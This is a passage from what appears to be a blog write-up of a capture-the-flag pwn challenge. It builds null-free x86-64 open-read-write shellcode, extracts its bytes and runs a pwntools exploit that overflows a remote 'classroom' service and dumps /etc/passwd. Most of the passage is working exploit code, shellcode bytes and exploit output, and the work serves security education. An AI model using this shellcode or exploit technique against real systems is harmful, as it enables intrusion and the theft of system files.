    <span class="p">;</span> <span class="kt">ssize_t</span> <span class="nf">read</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">void</span> <span class="n">buf</span><span class="p">[.</span><span class="n">count</span><span class="p">],</span> <span class="kt">size_t</span> <span class="n">count</span><span class="p">);</span>  <span class="o">&lt;--</span> <span class="err">$</span><span class="n">rdi</span> <span class="o">=</span> <span class="n">file</span> <span class="n">descriptor</span> <span class="n">from</span> <span class="err">$</span><span class="n">rbx</span><span class="p">,</span> <span class="err">$</span><span class="n">rsi</span> <span class="o">=</span> <span class="n">where</span> <span class="n">to</span> <span class="n">read</span> <span class="n">into</span><span class="p">,</span> <span class="err">$</span><span class="n">rdx</span> <span class="o">=</span> <span class="err">#</span> <span class="n">bytes</span>
    <span class="n">xor</span> <span class="n">rax</span><span class="p">,</span> <span class="n">rax</span>                         <span class="p">;</span> <span class="n">syscall</span> <span class="n">number</span> <span class="k">for</span> <span class="n">sys_read</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rbx</span>                         <span class="p">;</span> <span class="n">file</span> <span class="n">descriptor</span>
    <span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">rsp</span>                         <span class="p">;</span> <span class="n">buffer</span> <span class="n">to</span> <span class="n">read</span> <span class="n">into</span>
    <span class="n">xor</span> <span class="n">rdx</span><span class="p">,</span> <span class="n">rdx</span>                         <span class="p">;</span> <span class="n">rdx</span> <span class="mi">0</span> 
    <span class="n">mov</span> <span class="n">dx</span><span class="p">,</span> <span class="mi">300</span>                          <span class="p">;</span> <span class="n">number</span> <span class="n">of</span> <span class="n">bytes</span> <span class="n">to</span> <span class="n">read</span>
    <span class="n">syscall</span>

    <span class="p">;</span> <span class="n">Write</span> <span class="n">the</span> <span class="n">buffer</span> <span class="n">to</span> <span class="nf">stdout</span> <span class="p">(</span><span class="n">sys_write</span><span class="p">)</span>
    <span class="p">;</span> <span class="kt">ssize_t</span> <span class="nf">write</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="n">buf</span><span class="p">[.</span><span class="n">count</span><span class="p">],</span> <span class="kt">size_t</span> <span class="n">count</span><span class="p">);</span>  <span class="o">&lt;--</span> <span class="err">$</span><span class="n">rdi</span> <span class="o">=</span> <span class="n">stdout</span><span class="p">,</span> <span class="err">$</span><span class="n">rsi</span> <span class="o">=</span> <span class="n">buffer</span> <span class="n">to</span> <span class="n">write</span> <span class="n">from</span><span class="p">,</span> <span class="err">$</span><span class="n">rdx</span> <span class="o">=</span> <span class="err">#</span><span class="n">bytes</span>
    <span class="n">xor</span> <span class="n">rax</span><span class="p">,</span> <span class="n">rax</span> 
    <span class="n">inc</span> <span class="n">al</span>                              <span class="p">;</span> <span class="n">syscall</span> <span class="n">number</span> <span class="k">for</span> <span class="n">sys_write</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">mov</span> <span class="n">dil</span><span class="p">,</span> <span class="mi">1</span>                          <span class="p">;</span> <span class="n">file</span> <span class="nf">descriptor</span> <span class="p">(</span><span class="n">stdout</span><span class="p">)</span>
    <span class="p">;</span>   <span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">rsp</span>                    <span class="p">;</span> <span class="n">buffer</span> <span class="n">to</span> <span class="n">write</span> <span class="nf">from</span> <span class="p">(</span><span class="n">already</span> <span class="n">there</span> <span class="n">from</span> <span class="n">read</span><span class="p">())</span>
    <span class="p">;</span>   <span class="n">mov</span> <span class="n">rdx</span><span class="p">,</span> <span class="n">rbx</span>                    <span class="p">;</span> <span class="n">number</span> <span class="n">of</span> <span class="n">bytes</span> <span class="n">to</span> <span class="n">write</span> <span class="p">(</span><span class="n">already</span> <span class="n">there</span> <span class="n">from</span> <span class="n">read</span><span class="p">())</span>
    <span class="n">syscall</span>

    <span class="p">;</span> <span class="n">Exit</span> <span class="n">the</span> <span class="nf">program</span> <span class="p">(</span><span class="n">sys_exit</span><span class="p">)</span>
    <span class="p">;</span> <span class="p">[[</span><span class="n">noreturn</span><span class="p">]]</span> <span class="kt">void</span> <span class="nf">_exit</span><span class="p">(</span><span class="kt">int</span> <span class="n">status</span><span class="p">);</span>  <span class="o">&lt;--</span> <span class="err">$</span><span class="n">rdi</span> <span class="o">=</span> <span class="err">τα</span> <span class="err">ειπαμε</span>
    <span class="n">xor</span> <span class="n">rax</span><span class="p">,</span> <span class="n">rax</span>
    <span class="n">mov</span> <span class="n">al</span><span class="p">,</span> <span class="mi">60</span>                          <span class="p">;</span> <span class="n">syscall</span> <span class="n">number</span> <span class="k">for</span> <span class="n">sys_exit</span> <span class="p">(</span><span class="mi">3</span><span class="n">c</span><span class="p">)</span>
    <span class="n">xor</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rdi</span>                        <span class="p">;</span> <span class="n">exit</span> <span class="n">code</span> <span class="mi">0</span>
    <span class="n">syscall</span>

</code></pre></div></div>

<p>Which allows us to produce null-free shellcode:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">objdump</span> <span class="o">-</span><span class="n">Mintel</span> <span class="o">-</span><span class="n">D</span> <span class="o">-</span><span class="n">z</span> <span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span> 

<span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span><span class="o">:</span>     <span class="n">file</span> <span class="n">format</span> <span class="n">elf64</span><span class="o">-</span><span class="n">x86</span><span class="o">-</span><span class="mi">64</span>


<span class="n">Disassembly</span> <span class="n">of</span> <span class="n">section</span> <span class="p">.</span><span class="n">text</span><span class="o">:</span>

<span class="mo">0000000000401000</span> <span class="o">&lt;</span><span class="n">_start</span><span class="o">&gt;:</span>
  <span class="mi">401000</span><span class="o">:</span>       <span class="mi">68</span> <span class="mi">32</span> <span class="mi">36</span> <span class="mi">25</span> <span class="mi">41</span>          <span class="n">push</span>   <span class="mh">0x41253632</span>
  <span class="mi">401005</span><span class="o">:</span>       <span class="mi">81</span> <span class="mi">34</span> <span class="mi">24</span> <span class="mi">41</span> <span class="mi">41</span> <span class="mi">41</span> <span class="mi">41</span>    <span class="n">xor</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="p">],</span><span class="mh">0x41414141</span>
  <span class="mi">40100</span><span class="n">c</span><span class="o">:</span>       <span class="mi">49</span> <span class="n">be</span> <span class="mi">2</span><span class="n">f</span> <span class="mi">65</span> <span class="mi">74</span> <span class="mi">63</span> <span class="mi">2</span><span class="n">f</span>    <span class="n">movabs</span> <span class="n">r14</span><span class="p">,</span><span class="mh">0x7361702f6374652f</span>
  <span class="mi">401013</span><span class="o">:</span>       <span class="mi">70</span> <span class="mi">61</span> <span class="mi">73</span> 
  <span class="mi">401016</span><span class="o">:</span>       <span class="mi">41</span> <span class="mi">56</span>                   <span class="n">push</span>   <span class="n">r14</span>
  <span class="mi">401018</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">31</span> <span class="n">c0</span>                <span class="n">xor</span>    <span class="n">rax</span><span class="p">,</span><span class="n">rax</span>
  <span class="mi">40101</span><span class="n">b</span><span class="o">:</span>       <span class="n">b0</span> <span class="mo">02</span>                   <span class="n">mov</span>    <span class="n">al</span><span class="p">,</span><span class="mh">0x2</span>
  <span class="mi">40101</span><span class="n">d</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">89</span> <span class="n">e7</span>                <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rsp</span>
  <span class="mi">401020</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">31</span> <span class="n">f6</span>                <span class="n">xor</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rsi</span>
  <span class="mi">401023</span><span class="o">:</span>       <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span>                   <span class="n">syscall</span>
  <span class="mi">401025</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">89</span> <span class="n">c3</span>                <span class="n">mov</span>    <span class="n">rbx</span><span class="p">,</span><span class="n">rax</span>
  <span class="mi">401028</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">31</span> <span class="n">c0</span>                <span class="n">xor</span>    <span class="n">rax</span><span class="p">,</span><span class="n">rax</span>
  <span class="mi">40102</span><span class="n">b</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">89</span> <span class="n">df</span>                <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rbx</span>
  <span class="mi">40102</span><span class="n">e</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">89</span> <span class="n">e6</span>                <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rsp</span>
  <span class="mi">401031</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">31</span> <span class="n">d2</span>                <span class="n">xor</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">rdx</span>
  <span class="mi">401034</span><span class="o">:</span>       <span class="mi">66</span> <span class="n">ba</span> <span class="mi">2</span><span class="n">c</span> <span class="mo">01</span>             <span class="n">mov</span>    <span class="n">dx</span><span class="p">,</span><span class="mh">0x12c</span>
  <span class="mi">401038</span><span class="o">:</span>       <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span>                   <span class="n">syscall</span>
  <span class="mi">40103</span><span class="n">a</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">31</span> <span class="n">c0</span>                <span class="n">xor</span>    <span class="n">rax</span><span class="p">,</span><span class="n">rax</span>
  <span class="mi">40103</span><span class="n">d</span><span class="o">:</span>       <span class="n">fe</span> <span class="n">c0</span>                   <span class="n">inc</span>    <span class="n">al</span>
  <span class="mi">40103</span><span class="n">f</span><span class="o">:</span>       <span class="mi">40</span> <span class="n">b7</span> <span class="mo">01</span>                <span class="n">mov</span>    <span class="n">dil</span><span class="p">,</span><span class="mh">0x1</span>
  <span class="mi">401042</span><span class="o">:</span>       <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span>                   <span class="n">syscall</span>
  <span class="mi">401044</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">31</span> <span class="n">c0</span>                <span class="n">xor</span>    <span class="n">rax</span><span class="p">,</span><span class="n">rax</span>
  <span class="mi">401047</span><span class="o">:</span>       <span class="n">b0</span> <span class="mi">3</span><span class="n">c</span>                   <span class="n">mov</span>    <span class="n">al</span><span class="p">,</span><span class="mh">0x3c</span>
  <span class="mi">401049</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">31</span> <span class="n">ff</span>                <span class="n">xor</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rdi</span>
  <span class="mi">40104</span><span class="n">c</span><span class="o">:</span>       <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span>                   <span class="n">syscall</span>
<span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> 
</code></pre></div></div>

<p>We’ll use <a href="https://github.com/Neetx/Shellcode-Extractor">Shellcode-Extractor</a> to extract the bytecode out of the object file and test it.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/D/W/b/pwn <span class="nv">$ </span>objdump <span class="nt">-d</span> open-read-write.o | python3 shellcode_extractor.py 

<span class="se">\x</span>68<span class="se">\x</span>32<span class="se">\x</span>36<span class="se">\x</span>25<span class="se">\x</span>41<span class="se">\x</span>81<span class="se">\x</span>34<span class="se">\x</span>24<span class="se">\x</span>41<span class="se">\x</span>41<span class="se">\x</span>41<span class="se">\x</span>41<span class="se">\x</span>49<span class="se">\x</span>be<span class="se">\x</span>2f<span class="se">\x</span>65<span class="se">\x</span>74<span class="se">\x</span>63<span class="se">\x</span>2f<span class="se">\x</span>70<span class="se">\x</span>61<span class="se">\x</span>73<span class="se">\x</span>41<span class="se">\x</span>56<span class="se">\x</span>48<span class="se">\x</span>31<span class="se">\x</span>c0<span class="se">\x</span>b0<span class="se">\x</span>02<span class="se">\x</span>48<span class="se">\x</span>89<span class="se">\x</span>e7<span class="se">\x</span>48<span class="se">\x</span>31<span class="se">\x</span>f6<span class="se">\x</span>0f<span class="se">\x</span>05<span class="se">\x</span>48<span class="se">\x</span>89<span class="se">\x</span>c3<span class="se">\x</span>48<span class="se">\x</span>31<span class="se">\x</span>c0<span class="se">\x</span>48<span class="se">\x</span>89<span class="se">\x</span><span class="nb">df</span><span class="se">\x</span>48<span class="se">\x</span>89<span class="se">\x</span>e6<span class="se">\x</span>48<span class="se">\x</span>31<span class="se">\x</span>d2<span class="se">\x</span>66<span class="se">\x</span>ba<span class="se">\x</span>2c<span class="se">\x</span>01<span class="se">\x</span>0f<span class="se">\x</span>05<span class="se">\x</span>48<span class="se">\x</span>31<span class="se">\x</span>c0<span class="se">\x</span>fe<span class="se">\x</span>c0<span class="se">\x</span>40<span class="se">\x</span>b7<span class="se">\x</span>01<span class="se">\x</span>0f<span class="se">\x</span>05<span class="se">\x</span>48<span class="se">\x</span>31<span class="se">\x</span>c0<span class="se">\x</span>b0<span class="se">\x</span>3c<span class="se">\x</span>48<span class="se">\x</span>31<span class="se">\x</span>ff<span class="se">\x</span>0f<span class="se">\x</span>05

Lenght: 78

~/D/W/b/pwn <span class="nv">$ </span>gcc shellcode_tester.c
~/D/W/b/pwn <span class="nv">$ </span>./a.out 
root@wildwest:/opt/Shellcode-Extractor# ./a.out               
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<span class="nb">sync</span>:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:                                                                                                                                                                                                    
</code></pre></div></div>

<p>As a final step we’ll update <code class="language-plaintext highlighter-rouge">sploit.py</code> with the shellcode and the length</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">shellcode</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x68\x32\x36\x25\x41\x81\x34\x24\x41\x41\x41\x41\x49\xbe\x2f\x65\x74\x63\x2f\x70\x61\x73\x41\x56\x48\x31\xc0\xb0\x02\x48\x89\xe7\x48\x31\xf6\x0f\x05\x48\x89\xc3\x48\x31\xc0\x48\x89\xdf\x48\x89\xe6\x48\x31\xd2\x66\xba\x2c\x01\x0f\x05\x48\x31\xc0\xfe\xc0\x40\xb7\x01\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05</span><span class="s">'</span>

<span class="n">payload1</span> <span class="o">=</span> <span class="n">fit</span><span class="p">({</span>
  <span class="err"> </span> <span class="mi">0</span><span class="p">:</span> <span class="n">shellcode</span>
<span class="err"> </span> <span class="err"> </span> <span class="p">},</span> <span class="n">filler</span><span class="o">=</span><span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span><span class="p">,</span> <span class="n">length</span><span class="o">=</span><span class="mi">78</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">hexdump</span><span class="p">(</span><span class="n">payload1</span><span class="p">))</span>
</code></pre></div></div>

<p>And run it, for one last time.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/D/W/b/pwn <span class="nv">$ </span>python3 sploit.py DEBUG
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/kidd/Desktop/WORK/bsides24/pwn/classroom'</span>
...[snip]...
<span class="o">[</span>+] Opening connection to 192.168.13.37 on port 8000: Done
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Paused <span class="o">(</span>press any to <span class="k">continue</span><span class="o">)</span>
<span class="o">[</span>DEBUG] Received 0x7e bytes:
    00000000  4b 69 64 73  20 6d 75 73  74 20 66 6f  6c 6c 6f 77  │Kids│ mus│t fo│llow│
    00000010  20 74 68 65  20 72 75 6c  65 73 21 0a  31 2e 20 4e  │ the│ rul│es!·│1. N│
    00000020  6f 20 63 68  65 61 74 69  6e 67 21 20  20 20 e2 9d  │o ch│eati│ng! │  ··│
    00000030  8c 0a 32 2e  20 4e 6f 20  73 77 65 61  72 69 6e 67  │··2.│ No │swea│ring│
    00000040  21 20 20 20  e2 9d 8c 0a  33 2e 20 4e  6f 20 f0 9f  │!   │····│3. N│o ··│
    00000050  9a a9 20 73  68 61 72 69  6e 67 21 20  e2 9d 8c 0a  │·· s│hari│ng! │····│
    00000060  0a 49 73 20  65 76 65 72  79 74 68 69  6e 67 20 63  │·Is │ever│ythi│ng c│
    00000070  6c 65 61 72  3f 20 28 79  2f 6e 29 0a  3e 20        │lear│? <span class="o">(</span>y│/n<span class="o">)</span>·│&gt; │
    0000007e
<span class="o">[</span>DEBUG] Sent 0x4f bytes:
    00000000  68 32 36 25  41 81 34 24  41 41 41 41  49 be 2f 65  │h26%│A·4<span class="nv">$│</span>AAAA│I·/e│
    00000010  74 63 2f 70  61 73 41 56  48 31 c0 b0  02 48 89 e7  │tc/p│asAV│H1··│·H··│
    00000020  48 31 f6 0f  05 48 89 c3  48 31 c0 48  89 <span class="nb">df </span>48 89  │H1··│·H··│H1·H│··H·│
    00000030  e6 48 31 d2  66 ba 2c 01  0f 05 48 31  c0 fe c0 40  │·H1·│f·,·│··H1│···@│
    00000040  b7 01 0f 05  48 31 c0 b0  3c 48 31 ff  0f 05 0a     │····│H1··│&lt;H1·│···│
    0000004f
<span class="o">[</span>DEBUG] Received 0x32 bytes:
    b<span class="s1">'\n'</span>
    b<span class="s1">'Alright! Do you have any more questions? (y/n)\n'</span>
    b<span class="s1">'&gt; '</span>
...[snip]...
    b<span class="s1">'Enough questions for today class...\n'</span>
    b<span class="s1">'Well, maybe a last one and then we finish!\n'</span>
    b<span class="s1">'&gt; '</span>
<span class="o">[</span>DEBUG] Sent 0x190 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    <span class="k">*</span>
    00000080  90 90 90 90  90 90 90 90  0c 09 40 00  00 00 00 00  │····│····│··@·│····│
    00000090  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    <span class="k">*</span>
    00000190
<span class="o">[</span>+] Receiving all data: Done <span class="o">(</span>358B<span class="o">)</span>
<span class="o">[</span>DEBUG] Received 0x3a bytes:
    00000000  57 68 61 74  20 61 72 65  20 79 6f 75  20 64 6f 69  │What│ are│ you│ doi│
    00000010  6e 67 20 68  65 72 65 3f  21 20 4b 69  64 73 20 61  │ng h│ere?│! Ki│ds a│
    00000020  72 65 20 6e  6f 74 20 61  6c 6c 6f 77  65 64 20 68  │re n│ot a│llow│ed h│
    00000030  65 72 65 21  20 f0 9f 94  9e 0a                     │ere!│ ···│··│
    0000003a
<span class="o">[</span>DEBUG] Received 0x12c bytes:
    b<span class="s1">'root:x:0:0:root:/root:/bin/bash\n'</span>
    b<span class="s1">'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n'</span>
    b<span class="s1">'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n'</span>
    b<span class="s1">'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n'</span>
    b<span class="s1">'sync:x:4:65534:sync:/bin:/bin/sync\n'</span>
    b<span class="s1">'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n'</span>
    b<span class="s1">'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n'</span>
    b<span class="s1">'lp:x:7:7:lp:/va'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Closed connection to 192.168.13.37 port 8000
/home/kidd/.local/lib/python3.11/site-packages/pwnlib/log.py:347: BytesWarning: Bytes is not text<span class="p">;</span> assuming UTF-8, no guarantees. See https://docs.pwntools.com/#bytes
  self._log<span class="o">(</span>logging.INFO, message, args, kwargs, <span class="s1">'success'</span><span class="o">)</span>
<span class="o">[</span>+] What are you doing here?! Kids are not allowed here! 🔞
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    <span class="nb">sync</span>:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/va
~/D/W/b/pwn <span class="nv">$ </span>
</code></pre></div></div>

<p>Excellent!</p>

<h1 id="outro">Outro</h1>

<p>If you made it this far thank you for staying :)</p>

<p>There are two optional parts that you may enjoy as well exactly below.</p>

<h2 id="pwntools-again">Pwntools again</h2>

<p>Pwntools is such a versatile tool. Using <code class="language-plaintext highlighter-rouge">shellcraft</code> it allows us to create shellcode using abstracted notations instead of assembly, which, arguably, is way less convinient.</p>

<p>For example, one could recreate the above shellcode using pwnlib. Crafting and testing the shellcode listed above would be as simple as:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">ipython3</span>
<span class="n">Python</span> <span class="mf">3.11</span><span class="p">.</span><span class="mi">9</span> <span class="p">(</span><span class="n">main</span><span class="p">,</span> <span class="n">Apr</span> <span class="mi">10</span> <span class="mi">2024</span><span class="p">,</span> <span class="mi">13</span><span class="p">:</span><span class="mi">16</span><span class="p">:</span><span class="mi">36</span><span class="p">)</span> <span class="p">[</span><span class="n">GCC</span> <span class="mf">13.2</span><span class="p">.</span><span class="mi">0</span><span class="p">]</span>
<span class="n">Type</span> <span class="s">'copyright'</span><span class="p">,</span> <span class="s">'credits'</span> <span class="ow">or</span> <span class="s">'license'</span> <span class="k">for</span> <span class="n">more</span> <span class="n">information</span>
<span class="n">IPython</span> <span class="mf">8.20</span><span class="p">.</span><span class="mi">0</span> <span class="o">--</span> <span class="n">An</span> <span class="n">enhanced</span> <span class="n">Interactive</span> <span class="n">Python</span><span class="p">.</span> <span class="n">Type</span> <span class="s">'?'</span> <span class="k">for</span> <span class="n">help</span><span class="p">.</span>

<span class="n">In</span> <span class="p">[</span><span class="mi">1</span><span class="p">]:</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>                                                        <span class="c1"># import the library
</span>   <span class="p">...:</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">'amd64'</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s">'linux'</span><span class="p">,</span> <span class="n">endian</span><span class="o">=</span><span class="s">'little'</span><span class="p">,</span> <span class="n">word_size</span><span class="o">=</span><span class="mi">64</span><span class="p">)</span>         <span class="c1"># setting the execution context 
</span>   <span class="p">...:</span> <span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
   <span class="p">...:</span> <span class="c1">#p = run_shellcode(asm(pwnlib.shellcraft.amd64.readfile("/etc/passwd", 2)))
</span>   <span class="p">...:</span> <span class="n">p</span> <span class="o">=</span> <span class="n">run_shellcode</span><span class="p">(</span>
   <span class="p">...:</span>   <span class="n">asm</span><span class="p">(</span>                                                                   <span class="c1"># we need to assembly the following opcodes
</span>   <span class="p">...:</span>     <span class="n">shellcraft</span><span class="p">.</span><span class="n">pushstr</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span> <span class="o">+</span>                                  <span class="c1"># push the filname to the stack
</span>   <span class="p">...:</span>     <span class="n">shellcraft</span><span class="p">.</span><span class="n">mov</span><span class="p">(</span><span class="s">'rdi'</span><span class="p">,</span> <span class="s">'rsp'</span><span class="p">)</span> <span class="o">+</span>                                       <span class="c1"># copy the rsp addy to the rdi
</span>   <span class="p">...:</span>     <span class="n">shellcraft</span><span class="p">.</span><span class="n">syscall</span><span class="p">(</span><span class="s">'SYS_open'</span><span class="p">,</span> <span class="s">'rdi'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span>                           <span class="c1"># call open() with arguments
</span>   <span class="p">...:</span>     <span class="n">shellcraft</span><span class="p">.</span><span class="n">mov</span><span class="p">(</span><span class="s">'rbx'</span><span class="p">,</span> <span class="s">'rax'</span><span class="p">)</span> <span class="o">+</span>                                       <span class="c1"># store file descriptor                
</span>   <span class="p">...:</span>     <span class="n">shellcraft</span><span class="p">.</span><span class="n">syscall</span><span class="p">(</span><span class="s">'SYS_read'</span><span class="p">,</span> <span class="s">'rbx'</span><span class="p">,</span> <span class="s">'rsp'</span><span class="p">,</span> <span class="mi">300</span><span class="p">)</span> <span class="o">+</span>                  <span class="c1"># call read() with arguments
</span>   <span class="p">...:</span>     <span class="n">shellcraft</span><span class="p">.</span><span class="n">syscall</span><span class="p">(</span><span class="s">'SYS_write'</span><span class="p">,</span> <span class="s">'1'</span><span class="p">,</span> <span class="s">'rsi'</span><span class="p">,</span> <span class="mi">300</span><span class="p">)</span> <span class="o">+</span>                   <span class="c1"># call write() with arguments
</span>   <span class="p">...:</span>     <span class="n">shellcraft</span><span class="p">.</span><span class="n">syscall</span><span class="p">(</span><span class="s">'SYS_exit'</span><span class="p">,</span> <span class="s">'0'</span><span class="p">)))</span>                                <span class="c1"># be seeing 'ya
</span>   <span class="p">...:</span> <span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>                                                              <span class="c1"># receive all process output
</span><span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">cpp</span> <span class="o">-</span><span class="n">C</span> <span class="o">-</span><span class="n">nostdinc</span> <span class="o">-</span><span class="n">undef</span> <span class="o">-</span><span class="n">P</span> <span class="o">-</span><span class="n">I</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="p">.</span><span class="n">local</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">python3</span><span class="p">.</span><span class="mi">11</span><span class="o">/</span><span class="n">site</span><span class="o">-</span><span class="n">packages</span><span class="o">/</span><span class="n">pwnlib</span><span class="o">/</span><span class="n">data</span><span class="o">/</span><span class="n">includes</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">stdin</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">Assembling</span>
    <span class="p">.</span><span class="n">section</span> <span class="p">.</span><span class="n">shellcode</span><span class="p">,</span><span class="s">"awx"</span>
    <span class="p">.</span><span class="k">global</span> <span class="n">_start</span>
    <span class="p">.</span><span class="k">global</span> <span class="n">__start</span>
    <span class="n">_start</span><span class="p">:</span>
    <span class="n">__start</span><span class="p">:</span>
    <span class="p">.</span><span class="n">intel_syntax</span> <span class="n">noprefix</span>
    <span class="p">.</span><span class="n">p2align</span> <span class="mi">0</span>
        <span class="o">/*</span> <span class="n">push</span> <span class="sa">b</span><span class="s">'/etc/passwd</span><span class="se">\x00</span><span class="s">'</span> <span class="o">*/</span>
        <span class="n">push</span> <span class="mh">0x1010101</span> <span class="o">^</span> <span class="mh">0x647773</span>
        <span class="n">xor</span> <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rsp</span><span class="p">],</span> <span class="mh">0x1010101</span>
        <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mh">0x7361702f6374652f</span>
        <span class="n">push</span> <span class="n">rax</span>
        <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rsp</span>
        <span class="o">/*</span> <span class="n">call</span> <span class="nb">open</span><span class="p">(</span><span class="s">'rdi'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">*/</span>
        <span class="n">push</span> <span class="mi">2</span> <span class="o">/*</span> <span class="mi">2</span> <span class="o">*/</span>
        <span class="n">pop</span> <span class="n">rax</span>
        <span class="n">xor</span> <span class="n">esi</span><span class="p">,</span> <span class="n">esi</span> <span class="o">/*</span> <span class="mi">0</span> <span class="o">*/</span>
        <span class="n">syscall</span>
        <span class="n">mov</span> <span class="n">rbx</span><span class="p">,</span> <span class="n">rax</span>
        <span class="o">/*</span> <span class="n">call</span> <span class="n">read</span><span class="p">(</span><span class="s">'rbx'</span><span class="p">,</span> <span class="s">'rsp'</span><span class="p">,</span> <span class="mh">0x12c</span><span class="p">)</span> <span class="o">*/</span>
        <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span> <span class="n">eax</span> <span class="o">/*</span> <span class="n">SYS_read</span> <span class="o">*/</span>
        <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rbx</span>
        <span class="n">xor</span> <span class="n">edx</span><span class="p">,</span> <span class="n">edx</span>
        <span class="n">mov</span> <span class="n">dx</span><span class="p">,</span> <span class="mh">0x12c</span>
        <span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">rsp</span>
        <span class="n">syscall</span>
        <span class="o">/*</span> <span class="n">call</span> <span class="n">write</span><span class="p">(</span><span class="s">'1'</span><span class="p">,</span> <span class="s">'rsi'</span><span class="p">,</span> <span class="mh">0x12c</span><span class="p">)</span> <span class="o">*/</span>
